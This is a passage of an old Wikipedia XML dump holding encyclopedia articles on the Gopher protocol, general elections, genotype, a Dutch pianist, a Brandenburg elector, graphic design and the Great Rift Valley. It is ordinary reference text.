** 0 = [[Plain text|plain text]] file
** 1 = [[Directory|directory]]
** 3 = error
** 7 = [[Search engine|search]] server (returns a directory)
** h = [[HTML|html]] file
** i = informational text
** I = [[Digital image|image]] file
* description text
* item selector (typically a file-system pathname)
* domain name of the server on which the item resides
* port number of that server

====URL links====
Historically, to create a link to a Web server, &quot;GET /&quot; was used as the file to simulate an HTTP client request. [[John Goerzen]] created an addition &lt;ref&gt;http://gopher.quux.org/Archives/Mailing%20Lists/gopher/gopher.2002-02|/MBOX-MESSAGE/34&lt;/ref&gt; to the Gopher protocol, commonly referred to as &quot;[[URL]] links&quot;, that allows links to any protocol that supports URLs. For example, to create a link to http://gopher.quux.org, the item type is &quot;h&quot;, the description is arbitrary, the item selector is &quot;&lt;nowiki&gt;URL:http://gopher.quux.org&lt;/nowiki&gt;&quot;, and the domain and port are that of the originating Gopher server. For clients that do not support URL links, the server creates a HTML redirection page.

===Gopher support in Web browsers===
[[Image:Floodgap gopher in firefox 1.5.PNG|thumb|right|150px|Mozilla Firefox 1.5 displays a menu of the Floodgap Gopher server.]]

Gopher support was disabled in [[Internet Explorer]] in June 2002 by a patch meant to fix a security vulnerability&lt;ref&gt;{{Web reference| url=http://www.microsoft.com/technet/security/bulletin/MS02-047.mspx | title=Microsoft Security Bulletin MS02-047 }}&lt;/ref&gt; in the browser's Gopher protocol handler; however, it can be re-enabled by editing the [[Windows registry]] &lt;ref&gt;This is achieved by adding the following registry entry: &lt;tt&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableGopher = dword:00000001&lt;/tt&gt;&lt;/ref&gt;.

Other browsers, including [[Mozilla]] and [[AOL]] still support the protocol, but incompletely &amp;mdash; the most obvious deficiency is that they cannot display the informational text found on many Gopher menus. [[Konqueror]] needs a plugin&lt;ref&gt;The kgopher [[Konqueror#KIO|KIO]] plugin can be downloaded from http://kgopher.berlios.de/.&lt;/ref&gt; to be installed for full Gopher support. [[Mozilla Firefox]] has full Gopher support as of release 1.5, and partial support in previous versions. The [[SeaMonkey]] Internet suite, successor of the Mozilla all-in-one suite also supports Gopher fully.

The [[Safari (web browser)|Safari]] Web browser does not support Gopher at all while [[Opera (web browser)|Opera]] requires the use of a proxy like [[Squid cache|Squid]].

===Gopher to HTTP gateways===
Users of Web browsers that have incomplete or no support for Gopher&lt;ref&gt;To determine whether a Web browser supports Gopher, compare the display of [gopher://gopher.floodgap.com/ this gopher menu] with [http://gopher.floodgap.com/gopher/gw the same menu produced by a Gopher to HTML gateway] in the browser.&lt;/ref&gt; can access content on Gopher servers via a server gateway that converts Gopher menus into [[HTML]]. One such server is at [http://gopher.floodgap.com/gopher/ Floodgap.com].

Some Gopher servers, like [[PyGopherd]], also have builtin Gopher to HTTP interfaces.

===Related technology===
The main Gopher search engine is [[Veronica (computer)|Veronica]].  Veronica offers a keyword search of most Gopher server menu titles in the gopher web. A Veronica search produces a menu of Gopher items, each of which is a direct pointer to a Gopher data source. Currently, there is only one Veronica-2 server.

[[GopherVR]] is a 3D variant of the original Gopher system.

==See also==
*[[Gopher+]] - extensions to the Gopher protocol
*[[HyTelnet]] - a similar mechanism for unifying [[Telnet]]-based interfaces
*[[Super Dimension Fortress]] - a non-profit organization which provides free Gopher access

== References and footnotes ==
&lt;references/&gt;

==External links==
*[http://gopherproject.org/Software/Gopher The Gopher Project]
*[http://gopher.floodgap.com/gopher/gw?gopher.floodgap.com/0/gopher/wbgopher A document which describes the state of Gopher support for common Web browsers]

===Standards===
*[http://www.ietf.org/rfc/rfc1436.txt The Gopher Protocol (RFC1436)]
*[http://gopher.quux.org/Archives/mirrors/boombox.micro.umn.edu/pub/gopher/gopher_protocol/Gopher+/Gopher+.txt Gopher+ Extensions]
*[http://gopher.quux.org/Archives/Mailing%20Lists/gopher/gopher.2002-02?/MBOX-MESSAGE/34 URL links]

[[Category:Internet Gopher]]

[[ca:Gopher]]
[[da:Gopher]]
[[de:Gopher]]
[[es:Gopher]]
[[fr:Gopher]]
[[gl:Gopher]]
[[it:Gopher]]
[[nl:Gopher]]
[[ja:Gopher]]
[[pl:Gopher]]
[[pt:Gopher]]
[[ru:Gopher]]
[[fi:Gopher]]
[[uk:Gopher]]
[[zh:Gopher]]</text>
    </revision>
  </page>
  <page>
    <title>General election</title>
    <id>12795</id>
    <revision>
      <id>39988350</id>
      <timestamp>2006-02-17T08:19:13Z</timestamp>
      <contributor>
        <username>Gregorydavid</username>
        <id>814656</id>
      </contributor>
      <comment>add [[South African general elections]]</comment>
      <text xml:space="preserve">A '''general election''' is an [[election]] in which all members of a given political body are up for election. The term is usually used to refer to elections held for a nation's primary legislative body, as distinguished from [[by-election]]s and [[local election]]s.

The term originates in the [[United Kingdom general elections]] for the [[United Kingdom House of Commons|House of Commons]].

==List of general elections==
*[[Elections in Australia|Australian federal elections]]
*[[Canadian federal elections]]
*[[Elections in India|Indian general elections]]
*[[Irish general elections]]
*[[Japan general election]]
*[[Malaysian general election]]
*[[Spanish general elections]]
*[[South African general elections]]
*[[United Kingdom general elections]]

----
A '''general election''' is also a term used in opposition to '''[[primary election]]'''. In the [[United States]], primary elections serve to narrow down a field of candidates, and general elections actually elect candidates to offices. The general election is usually held on [[Election Day (United States)|Election Day]], the first Tuesday after the first Monday in [[November]].

It meets the above definition of &quot;general election&quot; in that the entire [[United States House of Representatives]] is elected on Election Day, though not the entire [[United States Congress]]. Prior to the [[Seventeenth Amendment to the United States Constitution|17th Amendment]], members of the [[United States Senate]] were not elected at all; though Senators have been elected since then, only one-third of them are up for election on any given Election Day.

==See also==
*[[List of democracy and elections-related topics]]

[[Category:Elections]]</text>
    </revision>
  </page>
  <page>
    <title>Genotype</title>
    <id>12796</id>
    <revision>
      <id>40792409</id>
      <timestamp>2006-02-23T01:21:14Z</timestamp>
      <contributor>
        <username>Dharmabum420</username>
        <id>658713</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.116.27.30|71.116.27.30]] to last version by 70.236.147.209</comment>
      <text xml:space="preserve">The '''genotype''' is the specific genetic makeup (the specific [[genome]]) of an individual, usually in the form of [[DNA]]. Together with the environmental variation that influences the individual, It [[code for|codes for]] the [[phenotype]] of that individual. Non-hereditary mutations are not classically understood as representing the individuals' genotype. Hence, scientists and doctors sometimes talk f.e. about the (geno)type of a particular [[cancer]], thus separating the disease from the diseased. While [[codon]]s for different [[amino acid]]s may change in a random mutation (changing the sequence coding a gene)), this doesn't necessarily alter the phenotype.

Typically, one refers to an individual's genotype with regard to a particular [[gene]] of interest and, in [[polyploid]] individuals, it refers to what combination of [[allele]]s the individual carries (see [[homozygous]], [[heterozygous]]).  Any given gene will usually cause an observable change in an organism, known as the phenotype.  The terms genotype and phenotype are distinct for at least two reasons:
#To distinguish the source of an observer's knowledge (one can know about genotype by observing DNA; one can know about phenotype by observing outward appearance of an organism).
#Genotype and phenotype are not always directly correlated.  Some genes only express a given phenotype in certain environmental conditions.  Conversely, some phenotypes could be the result of multiple genotypes.   

With careful [[experimental design]], researchers can use satistical methods to [[correlate]] differences in the genotypes of populations with differences in their observed [[phenotype]].  These [[association studies]] can be used to determine the genetic [[risk factor]]s associated with a [[disease]].  They may even be able to differentiate between populations who may or may not respond favorably to a particular [[drug]] treatment.  Such an approach is known as [[personalized medicine]].

Inspired by the [[biology|biological]] concept and usefulness of genotypes, [[computer science]] employs simulated genotypes in [[genetic programming]] and [[evolutionary algorithm]]s.  Such techniques can help [[evolution|evolve]] [[mathematics|mathematical]] solutions to certain types of otherwise difficult problems.

{{genetics-stub}}

==See also==
*[[Genetics]]
*[[Genotype-phenotype distinction]]

[[Category:Classical genetics]]

[[bg:Генотип]]
[[cs:Genotyp]]
[[da:Genotype]]
[[de:Genotyp]]
[[et:Genotüüp]]
[[es:Genotipo]]
[[fr:Génotype]]
[[hu:Genotípus]]
[[mk:Генотип]]
[[nl:Genotype]]
[[ja:遺伝子型]]
[[pl:Genotyp]]
[[pt:Genótipo]]
[[sv:Genotyp]]
[[th:ลักษณะทางพันธุกรรม]]
[[tr:Genotip]]</text>
    </revision>
  </page>
  <page>
    <title>Gerard Hengeveld</title>
    <id>12797</id>
    <revision>
      <id>42082247</id>
      <timestamp>2006-03-03T18:30:10Z</timestamp>
      <contributor>
        <username>Piccadilly</username>
        <id>470844</id>
      </contributor>
      <comment>category</comment>
      <text xml:space="preserve">'''Gerard Hengeveld''' ([[1910]] - [[October 28]], [[2001]]) was a Dutch classical [[pianist]], music [[composer]] and educationalist. He is especially known for his compositions of study material for [[piano]]. Other compositions include two [[piano concerto]]s, a [[violin sonata]], and a [[cello sonata|sonata for cello]]. Hengeveld was an able interpreter and performer of the music of [[Johann Sebastian Bach|Bach]] for piano and [[harpsichord]]. He gave regular concerts in the [[Concertgebouw]] in [[Amsterdam]]. Some of his concerts were captured on record. 

Hengeveld died on 2001 at age 90 in [[Bergen, North Holland|Bergen]].


[[Category:Classical composers|Hengeveld, Gerard]]
[[Category:Dutch composers|Hengeveld, Gerard]]
[[Category:Dutch classical pianists|Hengeveld, Gerard]]
[[Category:1910 births|Hengeveld, Gerard]]
[[Category:2001 deaths|Hengeveld, Gerard]]</text>
    </revision>
  </page>
  <page>
    <title>George William of Brandenburg</title>
    <id>12798</id>
    <revision>
      <id>42141124</id>
      <timestamp>2006-03-04T02:19:42Z</timestamp>
      <contributor>
        <username>Olessi</username>
        <id>220894</id>
      </contributor>
      <comment>Copyedit</comment>
      <text xml:space="preserve">'''George William''' ([[German language|German]]: ''Georg Wilhelm'') ([[13 November]] [[1595]] - [[December 1]] [[1640]]) of the [[Hohenzollern]] dynasty was [[margrave]] and [[Prince-Elector|elector]] of [[Brandenburg]] and duke of [[Ducal Prussia|Prussia]] ([[1619]]-[[1640]]). His reign was marked by ineffective governance during the [[Thirty Years' War]].

== Biography ==

=== Early life === 
Born in [[Cölln]] on the [[Spree]], George William was the son of Margrave [[John Sigismund, Margrave of Brandenburg|John Sigismund]] and [[Anna of Prussia]]. In 1616 George William married [[Elisabeth Charlotte of the Palatinate]]. Their only son [[Frederick William, Elector of Brandenburg|Frederick William]] later became known as the &quot;Great [[Prince-Elector|Elector]]&quot;.

=== Rule === 

In 1619 George William inherited the [[Marches|March]] of Brandenburg and Ducal Prussia. During the [[Thirty Years' War]], he tried to remain neutral between the [[Roman Catholicism|Catholic]] forces of the [[Holy Roman Empire]] and the [[Protestantism|Protestant]] principalities. As his sister [[Maria Eleonora of Brandenburg]] was queen of [[Swedish Empire|Sweden]], George William had to maneuver between requests of assistance from his Protestant brother-in-law King [[Gustavus Adolphus of Sweden]] and his own Protestant counsellors on one side and his Catholic chancellor Count [[Adam von Schwarzenberg]] on the other. 

Despite his attempts at neutrality, he was forced by Gustavus Adolphus to join the Protestant forces in [[1631]]. His rule was largely weak and ineffective however, as much of [[Brandenburg-Prussia]]'s government responsibilities were left with Schwarzenberg as the country suffered greatly during the war. Protestant and Catholic troops alike burned and plundered the region as the population was decimated. After the Swedish defeat at the [[Battle of Nordlingen]] on [[September 6]] [[1634]], George William withdrew Brandenburg from the war and signed the [[Peace of Prague]] with Emperor [[Ferdinand II, Holy Roman Emperor|Ferdinand II]] on [[May 30]] [[1635]]. Leaving Schwarzenberg in charge of the government, George William retreated in [[1637]] to the relatively safe region of Ducal Prussia where he lived in retirement until his death at Königsberg in 1640. He was succeeded by Frederick William.

=== Legacy === 
His great-great-grandson [[Frederick II the Great]] later wrote about him, that this was the unluckiest time, it is a shame that Georg Wilhelm did not put up an army, before the combatants of the Thirty Years War destroyed the land, where the ravages can still be witnessed so many years later.

==References== 
*Wedgwood, Cicely V. ''The Thirty Years War'', New York, 1961. 

{{start box}}
{{succession box |
  before=[[John Sigismund, Margrave of Brandenburg|John Sigismund]] |
  title=[[Elector of Brandenburg]] |
  years=1619-1640 |
  after=[[Frederick William, Elector of Brandenburg|Frederick William]]
}}
{{end box}}

[[Category:1595 births]]
[[Category:1640 deaths]]
[[Category:Electors of Brandenburg]]
[[Category:House of Hohenzollern]]

[[da:Georg Vilhelm af Brandenburg-Preussen]]
[[de:Georg Wilhelm (Brandenburg)]]
[[pl:Jerzy Wilhelm]]
[[ja:ゲオルク・ヴィルヘルム]]</text>
    </revision>
  </page>
  <page>
    <title>Graphic design</title>
    <id>12799</id>
    <revision>
      <id>41994358</id>
      <timestamp>2006-03-03T02:35:57Z</timestamp>
      <contributor>
        <username>Heah</username>
        <id>213940</id>
      </contributor>
      <minor />
      <comment>rv linkspam</comment>
      <text xml:space="preserve">[[Image:Saul_bass_goldenarm.jpg|thumb|[[Saul Bass]]'s poster for the film, [[The Man with the Golden Arm]] - a highly regarded work of graphic design. The film was also notable for its groundbreaking title sequence, also by Bass.]]

'''Graphic design''' is the [[applied art]] of selecting, creating and arranging marks on a surface to communicate a message. These marks may be letterforms ([[Typography]]) or of other media such as [[drawing]] or [[photography]]. 

It encompasses the creative work done in many media, such as [[print]], [[digital media]], [[Film|motion pictures]], [[animation]], [[Industrial design|product design]], [[packaging]], and [[information sign]]s.  Graphic design as a practice can be traced back to the origin of the written word, but only in the late [[19th century]] did it become identified as a separate discipline. 

Some fundamental principles of design are [[justification (typesetting)|alignment]], [[balance]], [[color]], [[contrast]], [[emphasis]], [[movement]], [[pattern]], [[proportion]], [[proximity]], [[repetition]], [[rhythm]], [[texture]], [[unity]], and [[white space (graphic design)|white space]].

=Design Theory=
==Classic theory of design==
According to the '''classic theory of design''' (or graphic design, visual design, art), the visual excitement of a work of design is a result of how the [[composition (visual arts)|composition]] of the '''elements of design''' follows the '''principles of design'''. For more information on the origins and use see: [[Aesthetics]].

===Elements of design===
The elements of design are the fundamental, isolated parts or aspects into which any work of design can be decomposed. An element of design may appear explicitly or implicitly (e.g. the boundary between two areas of contrasting color is an implicit line).

* Form (shape, line, dot)
* [[Texture]]
* [[Color]] (or hue)
* Value (light and dark)
* Space (actual and virtual)
* Time (first, second, last...)


These are combined with [[Principles]] to create the following:

* Hierarchy
* Mood
* Style
* Message


There are additional elements that come into play for most design work. These include:

* the Design Process, which encompasses the step by step and often complex path that a designer takes toward a design solution through research, exploration, re-evaluation, and revision of a design problem.
* use of a Grid to help improve or speed up the layout of images and text. Like the steel internal frame of building, the grid helps the 2D designer place information on paper or screen in a way that improves the design visually and its usability.
* impact and use of Technology for design solutions (Graphic designers are usually first adopters and incorporate new technology in solutions or concept when possible. This experimentation is not always to the benefit of the design or the user.)

===Principles of design===
The principles of design are general characterizations of relations between or applied to elements in a composition.

Here is a list of some design principles:
* [[Balance]] 
* [[Rhythm]]
* [[Proportion]] 
* Dominance
* [[Unity]]
* Clarity
* Foreground/Background
* Positive/Negative Space
* Stepping
* Gradation
* Contrast
* Focal Point
* Symmetry/Asymmetry
* Alignment

==Other theories==
The classic theory of design continues to be the first one introduced to starting students and amateurs, with details such as the number of principles varying from book to book, and instructor to instructor. However, the classic theory of design is limited in scope, and only considers the decorative aspects of design. More comprehensive theories and treatments include or emphasize the aspects of [[visual communication]] and [[usability|utility and usability]], and encompass [[sociological]] and [[lingusitic]]

=Design History=

==Early history==

The compelling&amp;mdash;if somewhat obscure&amp;mdash; paintings in the caves of [[Lascaux]] around 14,000 BC and the birth of written language in the third or fourth millennium BC, are both significant milestones in the history of graphic design and other fields which hold roots to graphic design.

The [[Book of Kells]] is a very beautiful and very early example of graphic design in a form that would be acceptable even today. The Book is a lavishly illustrated hand-written copy of the [[Christian Bible]] created by [[Celt|Celtic]] [[monks]] in the ninth century AD. 

[[Johann Gutenberg]]'s introduction of [[movable type]] in [[Europe]] made books widely available. The earliest books produced by Gutenberg's press and others of the era (the [[Incunabula]]) became the benchmark by which the design of future books, even as late as the [[20th century]], would be judged. Graphic design of this era is called either ''Old Style'' (especially the [[typeface]]s which these early [[typography|typographer]]s used), or ''Humanist'', after the predominant philosophical school of the time. 

Graphic design, after Gutenberg saw a gradual evolution rather than any significant change, in the late [[19th century]] when, especially in the [[United Kingdom]], an effort was made to create a firm division between the [[fine arts|fine]] and the applied arts. 

[[Piet Mondrian]], born in 1872, is often called the father of graphic design. Although he was a fine artist (not a graphic designer) his use of [[grids]] inspired the basic structure of the modern advertising layout known also as the grid system, used commonly today by graphic designers.

From [[1891]] to [[1896]] [[William Morris]]' Kelmscott Press published some of the most significant of the graphic design products of the [[Arts and Crafts movement]], and made a very lucrative business of creating books of great stylistic refinement and selling them to the wealthy for a premium. Morris proved that a market existed for works of graphic design and helped pioneer the separation of design from production and from fine art. The work of the Kelmscott Press is characterized by its decadence and by its obsession with historical styles. This historicism was, however, historically important as it amounted to the first significant reaction to the stale state of nineteenth-century graphic design. Morris' work, along with the rest of the [[Private Press]] movement, directly influenced [[Art Nouveau]] and is indirectly responsible for developments in early twentieth century graphic design in general.

The term Graphic Design was first coined by U.S. book designer and type designer [[William Addison Dwiggins]] in the early 20th C.

==20th century==
[[Image:Normandie_poster.jpg|thumb|Famous [[SS Normandie|SS ''Normandie'']] poster by [[Adolphe Muron Cassandre]].]]
Modern Design of the early [[20th century]], much like the [[fine art]] of the same period, was a reaction against the decadence of typography and design of the late 19th century. The hallmark of early modern typography is the [[sans-serif]] typeface. Early Modern (not to be confused with the other modern era of the [[18th century|18th]] and 19th centuries) typographers such as [[Edward Johnston]] and  [[Eric Gill]] after him were inspired by [[vernacular]] and industrial typography of the latter nineteenth century. The signage in the [[London Underground]] is a classic of this era and used a font designed by Edward Johnston in [[1916]]. 

[[Jan Tschichold]] codified the principles of modern typography in his [[1928]] book, ''New Typography''. He later repudiated the philosophy he espoused in this book as being fascistic, but it remained very influential. Tschichold, [[Bauhaus]] typographers such as [[Herbert Bayer]] and [[Laszlo Moholy-Nagy]], and [[El Lissitzky]] are the fathers of graphic design as we know it today. They pioneered production techniques and stylistic devices used throughout the twentieth century. Although the computer has altered production forever, the experimental approach to design they pioneered has become more relevant than ever.

The following years saw graphic design in the modern style gain widespread acceptance and application. A booming post-World War II American economy established a greater need for graphic design, mainly advertising and packaging. The emigration of the German Bauhaus school of design to Chicago in 1937 brought a &quot;mass-produced&quot; minimalism to America; sparking a wild fire of postmodern architecture and design. Notable names in mid-century modern design include [[Adrian Frutiger]], designer of the [[typeface]]s [[Univers]] and [[Frutiger]]; [[Paul Rand]], who, from the late 1930's until his death in 1996, took the principles of the Bauhaus and applied them to popular advertising and logo design, helping to create a uniquely American approach to European minimalism while becoming one of the principal pioneers of the subset of graphic design known as [[corporate identity]]; and [[Josef Müller-Brockmann]], who designed posters in a severe yet accessible manner typical of the [[1950s]] and [[1960s]]. 

The reaction to the increasing severity of graphic design was slow but inexorable. The origins of post-modern typography can be traced back as far as the humanist movement of the 1950s. Notable among this group is [[Hermann Zapf]] who designed two typefaces that remain ubiquitous&amp;mdash;[[Palatino]] ([[1948]]) and [[Optima]] ([[1952]]). By blurring the line between serif and sans-serif typefaces and re-introducing organic lines into typography these designs did more to ratify modernism than they did to rebel. 

An important point was reached in graphic design with the publishing of the [[First things first 1964 Manifesto]] which was a call to a more radical form of graphic design and criticized the ideas of value-free design. This was massively influential on a generation of new graphic designers and contributed to the founding of publications such as [[Emigre magazine]].

[[Image:Ilovenewyork.jpg|left|thumb|[[I Love New York]] campaign by [[Milton Glaser]].]]
Another notable designer of the latter 20th century is [[Milton Glaser]] who designed the unmistakable ''I Love NY'' ad campaign ([[1973]]), and a famous [[Bob Dylan]] poster ([[1968]]). Glaser took stylistic hints from [[popular culture]] from the [[1960s]] and [[1970s|70s]]. 

Advances in the early 20th century were largely inspired by technological advances in [[printing]] and also in [[photography]]. In the last decade of the same century, technology played a similar role, but this time it was the computer, and at first it was largely a step backwards. [[Zuzana Licko]] worked very early using computers for layout, in the days when computer memory was measured in kilobytes and typefaces were created using dots rather than lines. Together with her husband [[Rudy VanderLans]] they founded the pioneering Emigre magazine and the [[type foundry|Emigre type foundry]]. They played with the extraordinary limitations of computers as something which, in itself, could provide creative freedom. Emigre magazine became the bible for digital design as the technology rapidly advanced to the point where the advantages outweighed the disadvantages.

[[David Carson (graphic designer)|David Carson]] is, in a sense, the culmination of the movement against the restrictiveness of modern design&amp;mdash;some of his designs for [[Raygun magazine]] are intentionally illegible, featuring [[typography]] designed to be visual rather than literary experiences.

==Soviet Constructivism==

Mainly in the 1920's, in Soviet Russia, Soviet Constructivism applied 'intellectual production' in different spheres of production. The movement saw individualistic art as useless in revolutionary Russia and thus moved towards creating objects for utilitary purposes. They designed buildings, theater sets, posters, fabrics, clothing, furniture, logos, menus etc.

=Current Practice=

==The Use of Computers== [[Image:Flowxvi.png|thumb|240px|An example of computer-based graphic design.]]

In the 1980's, the arrival of [[desktop publishing]] and the release of software such as [[Adobe Systems|Adobe]] [[Adobe Illustrator|Illustrator]] introduced a generation of designers to the power of the computer. Image manipulation and 3D image creation using a computer demonstrated possibilities that had previously been unachievable. Another enormous development that computers provided to designers was the ability for them to set their own type, instantly seeing how it affected their design or layout, which allowed for new and more radical use of [[typography]]. Among the earliest designers to wholeheartedly embrace computers as tools for design work were [[April Greiman]] and the aforementioned Emigre designers. Computers are now considered to be an indispensable tool used in the graphic design industry. However, a select few continue using manual and traditional tools for their creative endeavors: Jean Benoit-Levy, Studio Cyan and Milton Glaser, among others.

Graphic Design has always been closely allied to the technologies of reproduction. Since the 1990's Graphic Designers have embraced the desktop computer as their primary tool.  Commonly used tools include: [[Apple Computer|Apple]] [[Apple Macintosh|Mac]] computers, [[Adobe InDesign]], [[Adobe Photoshop]], [[Adobe Illustrator]], and [[Adobe PageMaker]], [[QuarkXPress]], [[Macromedia]] [[Freehand]] and [[Macromedia Fireworks|Fireworks]], [[Paint Shop Pro]], [[Corel Graphics Suite]], [[Macromedia Flash]], and many [[Graphics program|other software programs]]. 

=See also=
{{wikibookspar||Graphic Design}}
*[[Graphics]]
*[[List of graphic designers]]
*[[Corporate Identity]]
*[[Desktop publishing]]
*[[Logo design]]
*[[Magazine]]s
*[[Marketing]]
*[[Newspaper]]s
*[[Poster]]s
*[[Style guide]]
*[[Web design]]
*[[Knowledge visualization]]
*[[National Institute of Design]]

=External links=
==Professional Organisations==
*[http://www.icograda.com/ International Council of Graphic Design Associations]
*[http://www.aiga.org AIGA American Institute of Graphic Arts]
*[http://www.gag.org Graphic Artists Guild]
*[http://www.dandad.org/ British Design and Art Direction]
*[http://www.dba.org.uk/ Design Business Association (UK)]
*[http://www.csd.org.uk/ Chartered Society of Designers (multidisciplinary - UK)]
*[http://www.britishdesign.co.uk/ British Design Innovation (multidisciplinary)]
*[http://www.gdc.net/index.php GDC Society of Graphic Designers of Canada]
*[http://www.rgdontario.com The Association of Registered Graphic Designers of Ontario (RGD Ontario)]

==Other==
*[http://www.graphic-arts-schools.com/finding_graphic_arts_schools.php How to choose a Graphic Arts School]
*[http://www.designtalkboard.com/design-articles/job-descriptions.php Graphic design job descriptions]
*[http://platea.pntic.mec.es/~jmas/manual/english/ A complete online manual of Graphic Design]
*[http://www.bluevertigo.com.ar/ Blue Vertigo - The best design resource links (Stock Photography, Fonts, Photoshop Brushes, Patterns, Sounds, etc)]
*[http://www.allgraphicdesign.com Extensive directory of graphic design resources]
*[http://graphic-forums.com Graphic Forums, community of graphic designers.]
[[Category:Graphic design|*]]

[[ca:Disseny gràfic]]
[[de:Grafikdesign]]
[[fr:Graphisme]]
[[es:Diseño gráfico]]
[[he:עיצוב גרפי]]
[[ja:グラフィックデザイン]]
[[pt:Design gráfico]]
[[sr:Графички дизајн]]
[[vi:Đồ họa]]
[[zh:平面设计]]
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[[tr:Grafik tasarım]]</text>
    </revision>
  </page>
  <page>
    <title>Great Rift Valley</title>
    <id>12800</id>
    <revision>
      <id>41326710</id>
      <timestamp>2006-02-26T16:34:18Z</timestamp>
      <contributor>
        <username>Sengkang</username>
        <id>179360</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Greatrift.jpg|thumb|250px|Northern section of the Great Rift Valley. The [[Sinai Peninsula]] is in center and the [[Dead Sea]] and [[Jordan River]] valley above]]
The '''Great Rift Valley''' is a vast geographical and geological feature that runs north to south for some 5,000 km, from northern [[Syria]] in [[Southwest Asia]] to central [[Mozambique]] in [[East Africa]]. The [[valley]] varies in width from thirty to one hundred kilometers, and in depth from a few hundred to several thousand metres. It has been created through the [[rifting]] and separation of the [[African Plate|African]] and [[Arabian Plate|Arabian]] [[tectonic plate]]s that began around 35 million years ago in the north, and by the ongoing separation of East Africa from the rest of Africa along the East African Rift, which began about 15 million years ago. It was named by the explorer [[John Walter Gregory]].

The northernmost part of the Rift forms the [[Beqaa Valley]] in [[Lebanon]] separating the [[Lebanon Mountains]] and [[Anti-Lebanon Mountains]]. To the south in [[Israel]], it is known as the [[Hula Valley]] separating between the [[Galilee]] mountains and the [[Golan Heights]]. Further south, the valley becomes the [[Jordan River]], which flows southward through from [[Lake Hula]] into the [[Sea of Galilee]] in [[Israel]] and then continues South through the [[Jordan Valley]] into the [[Dead Sea]] on the [[Israel]]i-[[Jordan]]ian Border. From the Dead Sea southwards, the Rift is occupied by the Wadi [[Arabah]] and then the [[Gulf of Aqaba]] and the [[Red Sea]].

[[Image:Aerial jordan.jpg|thumb|left|The Jordan Rift Valley from space]]
The southern end of the Red Sea marks a fork in the rift. The [[Afar Triangle]] or Danakil Depression of Eritrea is the probable location of a [[triple junction]] which is possibly underlain by a [[mantle plume]].  The [[Gulf of Aden]] is an eastward continuation of the rift - before the rift opened, the Arabian Peninsula was attached to the Horn of Africa - and from this point the rift continues as part of the [[Mid-oceanic ridge]] of the [[Indian Ocean]]. In a southwest direction the fault continues as the Great Rift Valley, which split the older [[Ethiopian highlands]] into two halves.

In eastern Africa the valley divides into two, the '''Eastern Rift''' and the '''Western Rift'''.

The Western Rift, also called the Albertine Rift, is edged by some of the highest mountains in Africa, including the [[Virunga Mountains]], [[Mitumba Mountains]], and [[Ruwenzori Range]], and contains the [[Rift Valley lakes]], which include some of the deepest [[lake]]s in the world (up to 1,470 meters deep at [[Lake Tanganyika]]). [[Lake Victoria]], the second largest area freshwater lake in the world, is considered part of the Rift Valley system although it actually lies between the two branches.  The other [[Great Lakes (Africa)|Great Lakes]] are also formed by the rift.

In [[Kenya]] the valley is deepest to the north of [[Nairobi]]. As the lakes in the Eastern Rift have no outlet to the sea, these lakes tend to be shallow and have a high [[mineral]] content as the evaporation of water leaves the salts behind. For example, [[Lake Magadi]] is almost solid soda ([[sodium carbonate]]), and [[Lake Elmenteita]], [[Lake Baringo]], [[Lake Bogoria]], and [[Lake Nakuru]] are all strongly alkaline, while [[Lake Naivasha]] needs to be supplied by freshwater springs to support its biological variety.

[[Image:EAfrica.jpg|thumb|right|300px|Map of East Africa showing some of the historically active volcanoes (red triangles) and the [[Afar Triangle]] (shaded, center) &amp;mdash; a [[triple junction]] where three plates are pulling away from one another: the Arabian Plate, and the two parts of the African Plate (the Nubian and the Somalian) splitting along the East African Rift Zone (USGS).]]
The formation of the Rift Valley continues, probably driven by [[mantle plume]]s and ultimately a result of the [[African superswell]]. The associated geothermal activity and spreading at the rift has caused the [[lithosphere]] to thin from a typical 100 km thickness for continents to a mere 20 km. Within a few million years, the lithosphere may rupture and eastern Africa will split off to form a new landmass. If spreading continues, this will lead to the formation of a new [[mid-ocean ridge]].

The volcanic activity at this site and unusual concentration of [[hotspot (geology)|hotspot]]s has produced the volcanic mountains [[Mount Kilimanjaro]], [[Mount Kenya]], [[Mount Karisimbi]], [[Mount Nyiragongo]], [[Mount Meru, Tanzania|Mount Meru]] and [[Mount Elgon]] as well as the [[Crater Highlands]] in [[Tanzania]]. The [[Ol Doinyo Lengai]] [[volcano]] remains active, and is currently the only [[carbonatite|natrocarbonatite]] volcano in the world.

The Rift Valley has been a rich source of [[anthropology|anthropological]] discovery, especially in an area known as Piedmont. Because the rapidly eroding highlands have filled the valley with sediments, a favourable environment for the preservation of remains has been created. The bones of several [[hominid]] ancestors of modern humans have been found there, including those of &quot;[[Australopithecus afarensis|Lucy]]&quot;, a nearly complete [[australopithecine]] skeleton, which was discovered by anthropologist [[Donald Johanson]]. [[Richard Leakey|Richard]] and [[Meave Leakey]] have also done significant work in this region.

==See also==
*[[Graben]]
*[[Horst]]

== External links ==
*[http://anthro.palomar.edu/hominid/images/map_of_great_rift_valley.gif Small simple-coloured map]
*[http://www.albertinerift.org/arift-protectedareas Maps from the Albertine Rift Programme]

[[Category:Great Rift Valley|*]]
[[Category:Seismic faults]]

[[de:Great Rift Valley]]
[[es:Gran Valle del Rift]]
[[fi:Itä-Afrikan hautavajoama]]
[[fr:vallée du grand rift]]
[[gl:Gran Val do Rift]]
[[he:&amp;#1492;&amp;#1513;&amp;#1489;&amp;#1512; &amp;#1492;&amp;#1505;&amp;#1493;&amp;#1512;&amp;#1497; &amp;#1488;&amp;#1508;&amp;#1512;&amp;#1497;&amp;#1511;&amp;#1504;&amp;#1497;]]
[[it:Rift Valley]]
[[ja:&amp;#12464;&amp;#12524;&amp;#12540;&amp;#12488;&amp;#12539;&amp;#12522;&amp;#12501;&amp;#12488;&amp;#12539;&amp;#12496;&amp;#12524;&amp;#12540;]]
[[nl:Grote Slenkvallei]]
[[no:Riftdalen]]
[[pl:Wielkie Rowy Afryka&amp;#324;skie]]
[[pt:Vale do Rift]]
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[[zh:&amp;#26481;&amp;#38750;&amp;#22823;&amp;#35010;&amp;#35895;]]</text>
    </revision>
  </page>
  <page>
    <title>Genitals</title>
    <id>12801</id>
    <revision>
      <id>15910458</id>
      <timestamp>2002-08-23T04:20:28Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Sex organ]]</text>
    </revision>
  </page>
  <page>
    <title>Genital</title>
    <id>12802</id>
    <revision>
      <id>15910459</id>
